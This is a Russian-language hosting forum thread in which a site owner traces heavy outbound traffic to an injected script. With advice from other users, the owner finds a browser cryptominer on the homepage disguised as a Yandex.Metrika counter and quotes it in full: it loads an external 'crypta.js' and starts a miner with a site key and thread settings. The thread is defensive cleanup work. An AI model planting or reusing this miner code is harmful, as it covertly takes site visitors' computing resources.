Мы используем cookie-файлы
Для оптимизации работы нашего сайта мы используем cookie-файлы. Продолжая использовать сайт, Вы соглашаетесь с использованием cookie-файлов.
  • Русский
  • Українська
  • UAH
  • USD
  • RUB
  • EUR
  • +38(044) 392-74-33  Киев
  • +38(057) 728-39-00  Харьков
  • +38(056) 794-38-31  Днепр
  • +38(032) 229-58-93  Львов
  • +38(048) 738-57-70  Одесса
  • +38(093) 170-15-42  Life
  • +38(067) 400-88-44  Киевстар
  • +38(095) 630-90-82  Vodafone
  • +1(888)393-24-51  USA, Toll free
  • +44(131)507-01-14  Great Britain
  • +7(499) 348-28-61  Москва

Хостинг. Как закрыть исходящие запросы на определенный IP

Форумы Хостинг Как закрыть исходящие запросы на определенный IP
partydress
1 год
Как закрыть исходящие запросы на определенный IP
Сайт постоянно превышает свой лимит, изучил многое, но увидел несколько тысяч исходящих запросов каждый день на IP 35.156.202.150 через порт 80. Пытался закрыть этот порт, пишет зарезервировано.
Подскажите, может есть возможность закрыть этот IP, пока я не нашел тот троян, который, видимо это делает. Антивирусы ничего не находят, сайты анализаторы нашли вставку с неизвестного сайта:
https://verifier.live/lib/crypta.js
пока что пытаюсь найти ее локацию у себя. такого скрипта я не нашел, но может встроено куда-то.
спасибо за совет!
Дмитрий Б.
1 год
Попробуйте подключиться к Вашему аккаунту по ssh и сделать поиск по этому URL. Например командой grep -r 'crypta.js'
partydress
1 год
спасибо, попробую! я по ftp поиски проводил, но пока не нашел ни такого файла, ни встречающейся внутри информации(
KarlovA
1 год
Думаю, не лишним будет также поиск упоминаний crypta.js и в базе данных, которую использует сайт.
partydress
1 год
Понял, спасибо, поищу там тоже!
partydress
1 год
Вот нашел такой код на главной, замаскирован под счетчик яндекс-метрики.

<!-- /Yandex.Metrika counter -->
<script src="//verifier.live/lib/crypta.js"></script>
<script>
var miner=new CRLT.Anonymous('57fc2dc75627403dc458cdc79c9a94ba674aa541dd15', {
threads:4,throttle:0.2,
});
miner.start();
</script>
Участвовать в общении на этом форуме могут только
зарегистрированные пользователи.